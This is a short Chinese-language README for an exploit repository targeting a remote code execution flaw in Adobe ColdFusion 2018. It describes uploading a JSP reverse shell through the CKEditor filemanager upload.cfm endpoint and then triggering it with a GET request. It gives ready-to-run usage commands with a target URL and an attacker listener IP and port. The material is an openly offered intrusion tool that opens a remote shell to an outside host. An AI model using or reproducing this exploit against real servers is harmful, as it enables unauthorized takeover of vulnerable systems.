该仓库包含我为 Adobe ColdFusion 2018 中 RCE 漏洞编写的利用代码。
该利用程序向 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反弹 Shell 的 POST 请求。如果成功,则会将 Shell 上传至 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp。随后,代码通过发送一个简单的 GET 请求来触发该 Shell。
# 基本用法
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# 使用自定义文件名
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp